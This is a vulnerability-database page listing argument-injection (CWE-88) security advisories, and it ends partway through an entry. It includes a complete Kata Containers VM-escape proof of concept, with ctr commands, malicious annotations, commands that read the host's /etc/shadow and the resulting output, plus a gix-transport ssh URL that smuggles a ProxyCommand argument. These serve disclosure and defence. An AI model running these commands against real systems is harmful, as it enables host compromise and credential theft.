CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
548 vulnerabilities reference this CWE, most recent first.
GHSA-RR59-XXVX-96QR
Vulnerability from github – Published: 2026-05-26 23:57 – Updated: 2026-05-26 23:57Summary
Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the io.katacontainers.config.hypervisor.virtio_fs_extra_args pod annotation. By injecting -o source=/ along with --no-announce-submounts and --sandbox=none, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the kernel_params annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.
Details
The default Kata configuration at configuration.toml line 1 contains:
enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"]
Both virtio_fs_extra_args and kernel_params are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.
In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:
if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {
var parsedValue []string
err := json.Unmarshal([]byte(value), &parsedValue)
// ...
sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(
sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)
}
In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with --shared-dir=<kata_managed_path> first, then appends the extra args:
args := []string{
"--syslog",
"--cache=" + v.cache,
"--shared-dir=" + v.sourcePath,
fmt.Sprintf("--fd=%v", FdSocketNumber),
}
if len(v.extraArgs) != 0 {
args = append(args, v.extraArgs...)
}
The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option -o source=PATH that overrides the --shared-dir value. This is processed after clap argument parsing, in the parse_compat() function at main.rs:462:
["source", value] => opt.shared_dir = Some(value.to_string()),
Because -o source=/ is appended after --shared-dir=<kata_path>, it overrides the shared directory to /. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.
Additionally, virtiofsd's --announce-submounts flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is /, this produces automounts that shadow the root directory listing. Injecting --no-announce-submounts disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.
The kernel_params annotation is used to inject agent.debug_console agent.debug_console_vport=1026 into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.
Rootfs bridge (PoC artifact, not a real constraint)
When virtiofsd uses -o source=/ to serve the host root, the Kata agent looks for the container rootfs at /<container-id>/rootfs relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.
In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.
Impact
An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:
- Read any file on the host, including /etc/shadow, SSH private keys, and service credentials
- Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement
- Access other containers' data through the host filesystem
- Compromise the Kubernetes control plane if it runs on the same host
Steps to reproduce
Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.
-
Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.
-
Pull a container image:
ctr image pull docker.io/library/alpine:latest
- Run the PoC script below, or follow the manual steps:
Manual steps:
a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):
SB_ID="poc-exploit"
mkdir -p /$SB_ID/rootfs
# Extract alpine rootfs from OCI image
mkdir -p /tmp/oci-extract
ctr image export /tmp/oci.tar docker.io/library/alpine:latest
tar xf /tmp/oci.tar -C /tmp/oci-extract
IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://')
MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \
"/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://')
LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://')
tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs
rm -rf /tmp/oci-extract /tmp/oci.tar
b. Create a marker file on the host to prove access:
echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker
c. Start the container with the malicious annotations:
ctr run \
--runtime io.containerd.kata.v2 \
--annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \
--annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \
docker.io/library/alpine:latest $SB_ID \
sleep 3600 &
Wait 20-30 seconds for the VM to start. Verify with ctr task ls.
d. Enter the VM through the debug console:
/opt/kata/bin/kata-runtime exec $SB_ID
e. Inside the VM, mount the host filesystem and read host files:
mkdir -p /tmp/hostfs
mount -t virtiofs kataShared /tmp/hostfs
cat /tmp/hostfs/etc/hostname
cat /tmp/hostfs/root/.poc-marker
head -3 /tmp/hostfs/etc/shadow
cat /tmp/hostfs/etc/os-release
ls /tmp/hostfs/opt/kata/bin/
f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.
- Clean up:
ctr task kill $SB_ID --signal SIGKILL
ctr container rm $SB_ID
umount /$SB_ID/rootfs
rm -rf /$SB_ID
Proof of concept output
Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.
root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h
root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)
DIRCOUNT:37
root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname)
HOSTNAME:kata-poc
root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release)
OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS"
root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker
HOST_NS2_1776058192
root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow)
SHADOW:root:*:17478:0:99999:7:::
root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3)
BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic
root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3)
KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker
The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kata-containers/kata-containers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260519062212-ffa59ce3aa78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44210"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-26T23:57:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nKata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.\n\n## Details\n\nThe default Kata configuration at configuration.toml line 1 contains:\n\n```\nenable_annotations = [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\"]\n```\n\nBoth `virtio_fs_extra_args` and `kernel_params` are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.\n\nIn utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:\n\n```go\nif value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {\n var parsedValue []string\n err := json.Unmarshal([]byte(value), \u0026parsedValue)\n // ...\n sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(\n sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)\n}\n```\n\nIn virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with `--shared-dir=\u003ckata_managed_path\u003e` first, then appends the extra args:\n\n```go\nargs := []string{\n \"--syslog\",\n \"--cache=\" + v.cache,\n \"--shared-dir=\" + v.sourcePath,\n fmt.Sprintf(\"--fd=%v\", FdSocketNumber),\n}\nif len(v.extraArgs) != 0 {\n args = append(args, v.extraArgs...)\n}\n```\n\nThe virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option `-o source=PATH` that overrides the `--shared-dir` value. This is processed after clap argument parsing, in the `parse_compat()` function at main.rs:462:\n\n```rust\n[\"source\", value] =\u003e opt.shared_dir = Some(value.to_string()),\n```\n\nBecause `-o source=/` is appended after `--shared-dir=\u003ckata_path\u003e`, it overrides the shared directory to `/`. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.\n\nAdditionally, virtiofsd\u0027s `--announce-submounts` flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is `/`, this produces automounts that shadow the root directory listing. Injecting `--no-announce-submounts` disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.\n\nThe `kernel_params` annotation is used to inject `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.\n\n## Rootfs bridge (PoC artifact, not a real constraint)\n\nWhen virtiofsd uses `-o source=/` to serve the host root, the Kata agent looks for the container rootfs at `/\u003ccontainer-id\u003e/rootfs` relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.\n\nIn a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.\n\n## Impact\n\nAn attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:\n\n- Read any file on the host, including /etc/shadow, SSH private keys, and service credentials\n- Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement\n- Access other containers\u0027 data through the host filesystem\n- Compromise the Kubernetes control plane if it runs on the same host\n\n## Steps to reproduce\n\nTested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.\n\n1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.\n\n2. Pull a container image:\n\n```\nctr image pull docker.io/library/alpine:latest\n```\n\n3. Run the PoC script below, or follow the manual steps:\n\nManual steps:\n\na. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):\n\n```\nSB_ID=\"poc-exploit\"\nmkdir -p /$SB_ID/rootfs\n\n# Extract alpine rootfs from OCI image\nmkdir -p /tmp/oci-extract\nctr image export /tmp/oci.tar docker.io/library/alpine:latest\ntar xf /tmp/oci.tar -C /tmp/oci-extract\nIDX=$(jq -r \u0027.manifests[0].digest\u0027 /tmp/oci-extract/index.json | sed \u0027s/sha256://\u0027)\nMFT=$(jq -r \u0027.manifests[] | select(.platform.architecture==\"amd64\") | .digest\u0027 \\\n \"/tmp/oci-extract/blobs/sha256/$IDX\" | head -1 | sed \u0027s/sha256://\u0027)\nLYR=$(jq -r \u0027.layers[0].digest\u0027 \"/tmp/oci-extract/blobs/sha256/$MFT\" | sed \u0027s/sha256://\u0027)\ntar xzf \"/tmp/oci-extract/blobs/sha256/$LYR\" -C /$SB_ID/rootfs\n\nrm -rf /tmp/oci-extract /tmp/oci.tar\n```\n\nb. Create a marker file on the host to prove access:\n\n```\necho \"HOST_ESCAPE_PROOF_$(date)\" \u003e /root/.poc-marker\n```\n\nc. Start the container with the malicious annotations:\n\n```\nctr run \\\n --runtime io.containerd.kata.v2 \\\n --annotation \u0027io.katacontainers.config.hypervisor.virtio_fs_extra_args=[\"--sandbox=none\",\"--seccomp=none\",\"-o\",\"source=/\",\"--no-announce-submounts\"]\u0027 \\\n --annotation \u0027io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026\u0027 \\\n docker.io/library/alpine:latest $SB_ID \\\n sleep 3600 \u0026\n```\n\nWait 20-30 seconds for the VM to start. Verify with `ctr task ls`.\n\nd. Enter the VM through the debug console:\n\n```\n/opt/kata/bin/kata-runtime exec $SB_ID\n```\n\ne. Inside the VM, mount the host filesystem and read host files:\n\n```\nmkdir -p /tmp/hostfs\nmount -t virtiofs kataShared /tmp/hostfs\ncat /tmp/hostfs/etc/hostname\ncat /tmp/hostfs/root/.poc-marker\nhead -3 /tmp/hostfs/etc/shadow\ncat /tmp/hostfs/etc/os-release\nls /tmp/hostfs/opt/kata/bin/\n```\n\nf. Observe that /etc/hostname returns the host\u0027s hostname (not \"localhost\"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host\u0027s password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.\n\n4. Clean up:\n\n```\nctr task kill $SB_ID --signal SIGKILL\nctr container rm $SB_ID\numount /$SB_ID/rootfs\nrm -rf /$SB_ID\n```\n\n## Proof of concept output\n\nBelow is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.\n\n```\nroot@7a7325d5d804:/# mkdir -p /tmp/h \u0026\u0026 mount -t virtiofs kataShared /tmp/h\nroot@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)\nDIRCOUNT:37\nroot@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname)\nHOSTNAME:kata-poc\nroot@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release)\nOSREL:PRETTY_NAME=\"Ubuntu 24.04.3 LTS\"\nroot@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker\nHOST_NS2_1776058192\nroot@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow)\nSHADOW:root:*:17478:0:99999:7:::\nroot@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2\u003e/dev/null | head -3)\nBOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic\nroot@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2\u003e/dev/null | head -3)\nKATA:cloud-hypervisor containerd-shim-kata-v2 firecracker\n```\n\nThe host\u0027s real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container\u0027s own filesystem.",
"id": "GHSA-rr59-xxvx-96qr",
"modified": "2026-05-26T23:57:58Z",
"published": "2026-05-26T23:57:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr"
},
{
"type": "WEB",
"url": "https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744"
},
{
"type": "PACKAGE",
"url": "https://github.com/kata-containers/kata-containers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P",
"type": "CVSS_V4"
}
],
"summary": "Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations"
}
GHSA-RRJW-J4M2-MF34
Vulnerability from github – Published: 2023-09-25 20:21 – Updated: 2025-07-28 15:37The gix-transport crate prior to the patched version 0.36.1 would allow attackers to use malicious ssh clone URLs to pass arbitrary arguments to the ssh program, leading to arbitrary code execution.
PoC: gix clone 'ssh://-oProxyCommand=open$IFS-aCalculator/foo'
This will launch a calculator on OSX.
See https://secure.phabricator.com/T12961 for more details on similar vulnerabilities in git.
Thanks for vin01 for disclosing this issue.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix-transport"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.36.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-53158"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-25T20:21:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The `gix-transport` crate prior to the patched version 0.36.1 would allow attackers to use malicious ssh clone URLs to pass arbitrary arguments to the `ssh` program, leading to arbitrary code execution.\n\nPoC: `gix clone \u0027ssh://-oProxyCommand=open$IFS-aCalculator/foo\u0027`\n\nThis will launch a calculator on OSX.\n\nSee https://secure.phabricator.com/T12961 for more details on similar vulnerabilities in `git`.\n\nThanks for [vin01](https://github.com/vin01) for disclosing this issue.",
"id": "GHSA-rrjw-j4m2-mf34",
"modified": "2025-07-28T15:37:24Z",
"published": "2023-09-25T20:21:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53158"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/pull/1032"
},
{
"type": "PACKAGE",
"url": "https://github.com/GitoxideLabs/gitoxide"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2023-0064.html"
},
{
"type": "WEB",
"url": "https://secure.phabricator.com/T12961"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "gix-transport code execution vulnerability"
}
GHSA-RRQP-52WF-RR49
Vulnerability from github – Published: 2026-07-03 15:31 – Updated: 2026-07-03 15:31Improper neutralization of argument delimiters in a command ('argument injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute pardus-software allows Argument Injection.
This issue affects pardus-software: from <= 1.0.4 before 1.0.5.
{
"affected": [],
"aliases": [
"CVE-2026-14459"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T15:16:32Z",
"severity": "HIGH"
},
"details": "Improper neutralization of argument delimiters in a command (\u0027argument injection\u0027) vulnerability in TUBITAK BILGEM Software Technologies Research Institute pardus-software allows Argument Injection.\n\nThis issue affects pardus-software: from \u003c= 1.0.4 before 1.0.5.",
"id": "GHSA-rrqp-52wf-rr49",
"modified": "2026-07-03T15:31:58Z",
"published": "2026-07-03T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14459"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0497"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RVMW-4HW3-3VQ7
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2023-04-20 15:30A vulnerability in the CLI of Cisco FXOS Software and Cisco NX-OS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system of an affected device with elevated privileges. The vulnerability is due to insufficient validation of arguments passed to certain CLI commands. An attacker could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with elevated privileges. An attacker would need valid device credentials to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2019-1779"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-15T20:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the CLI of Cisco FXOS Software and Cisco NX-OS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system of an affected device with elevated privileges. The vulnerability is due to insufficient validation of arguments passed to certain CLI commands. An attacker could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with elevated privileges. An attacker would need valid device credentials to exploit this vulnerability.",
"id": "GHSA-rvmw-4hw3-3vq7",
"modified": "2023-04-20T15:30:17Z",
"published": "2022-05-24T16:45:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1779"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-nxos-fxos-cmdinj-1779"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108394"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RVWM-3C9J-XM8H
Vulnerability from github – Published: 2024-10-02 18:31 – Updated: 2024-10-02 18:31A vulnerability in Cisco Nexus Dashboard Fabric Controller (NDFC), formerly Cisco Data Center Network Manager (DCNM), could allow an authenticated, remote attacker with network-admin privileges to perform a command injection attack against an affected device. This vulnerability is due to insufficient validation of command arguments. An attacker could exploit this vulnerability by submitting crafted command arguments to a specific REST API endpoint. A successful exploit could allow the attacker to overwrite sensitive files or crash a specific container, which would restart on its own, causing a low-impact denial of service (DoS) condition.
{
"affected": [],
"aliases": [
"CVE-2024-20444"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-02T17:15:16Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Cisco Nexus Dashboard Fabric Controller (NDFC), formerly Cisco Data Center Network Manager (DCNM), could allow an authenticated, remote attacker with network-admin privileges to perform a command injection attack against an affected device.\n\u0026nbsp;\nThis vulnerability is due to insufficient validation of command arguments. An attacker could exploit this vulnerability by submitting crafted command arguments to a specific REST API endpoint. A successful exploit could allow the attacker to overwrite sensitive files or crash a specific container, which would restart on its own, causing a low-impact denial of service (DoS) condition.",
"id": "GHSA-rvwm-3c9j-xm8h",
"modified": "2024-10-02T18:31:33Z",
"published": "2024-10-02T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20444"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndfc-raci-T46k3jnN"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RXPP-HM83-Q524
Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-01-15 21:31Istio through 1.28.2 allows iptables rule injection for changing firewall behavior via the traffic.sidecar.istio.io/excludeInterfaces annotation. NOTE: the reporter's position is "this doesn't represent a security vulnerability (pod creators can already exclude sidecar injection entirely)."
{
"affected": [],
"aliases": [
"CVE-2026-23766"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-15T20:16:06Z",
"severity": "MODERATE"
},
"details": "Istio through 1.28.2 allows iptables rule injection for changing firewall behavior via the traffic.sidecar.istio.io/excludeInterfaces annotation. NOTE: the reporter\u0027s position is \"this doesn\u0027t represent a security vulnerability (pod creators can already exclude sidecar injection entirely).\"",
"id": "GHSA-rxpp-hm83-q524",
"modified": "2026-01-15T21:31:47Z",
"published": "2026-01-15T21:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23766"
},
{
"type": "WEB",
"url": "https://github.com/istio/istio/issues/58781"
},
{
"type": "WEB",
"url": "https://github.com/istio/istio/pull/58785"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5J5-3255-X56M
Vulnerability from github – Published: 2024-01-17 18:31 – Updated: 2024-01-17 18:31A vulnerability in the web-based management interface of the Cisco WAP371 Wireless-AC/N Dual Radio Access Point (AP) with Single Point Setup could allow an authenticated, remote attacker to perform command injection attacks against an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the device. To exploit this vulnerability, the attacker must have valid administrative credentials for the device.
{
"affected": [],
"aliases": [
"CVE-2024-20287"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-17T17:15:12Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of the Cisco WAP371 Wireless-AC/N Dual Radio Access Point (AP) with Single Point Setup could allow an authenticated, remote attacker to perform command injection attacks against an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the device. To exploit this vulnerability, the attacker must have valid administrative credentials for the device.",
"id": "GHSA-v5j5-3255-x56m",
"modified": "2024-01-17T18:31:38Z",
"published": "2024-01-17T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20287"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-wap-inject-bHStWgXO"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5M2-RJH8-PC69
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:46cgi-bin/cmh/webcam.sh in Vera Edge Home Controller 1.7.4452 allows remote unauthenticated users to execute arbitrary OS commands via --output argument injection in the username parameter to /cgi-bin/cmh/webcam.sh.
{
"affected": [],
"aliases": [
"CVE-2019-15498"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-23T04:15:00Z",
"severity": "HIGH"
},
"details": "cgi-bin/cmh/webcam.sh in Vera Edge Home Controller 1.7.4452 allows remote unauthenticated users to execute arbitrary OS commands via --output argument injection in the username parameter to /cgi-bin/cmh/webcam.sh.",
"id": "GHSA-v5m2-rjh8-pc69",
"modified": "2024-04-04T01:46:57Z",
"published": "2022-05-24T16:54:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15498"
},
{
"type": "WEB",
"url": "https://distributedcompute.com/2019/08/22/vera-edge-home-controller-remote-shell-via-unauthenticated-command-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5RR-334G-RQM6
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-07-13 00:01Endian Firewall Community (aka EFW) 3.3.2 allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in a backup comment.
{
"affected": [],
"aliases": [
"CVE-2021-27201"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-15T19:15:00Z",
"severity": "HIGH"
},
"details": "Endian Firewall Community (aka EFW) 3.3.2 allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in a backup comment.",
"id": "GHSA-v5rr-334g-rqm6",
"modified": "2022-07-13T00:01:12Z",
"published": "2022-05-24T17:42:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27201"
},
{
"type": "WEB",
"url": "https://github.com/MucahitSaratar/endian_firewall_authenticated_rce"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/efw/files/Development/EFW-3.3.2"
},
{
"type": "WEB",
"url": "https://www.endian.com/company/news/endian-community-releases-new-version-332-148"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V725-9546-7Q7M
Vulnerability from github – Published: 2025-01-06 16:16 – Updated: 2025-01-06 18:43Impact
An argument injection vulnerability was discovered in go-git versions prior to v5.13.
Successful exploitation of this vulnerability could allow an attacker to set arbitrary values to git-upload-pack flags. This only happens when the file transport protocol is being used, as that is the only protocol that shells out to git binaries.
Affected versions
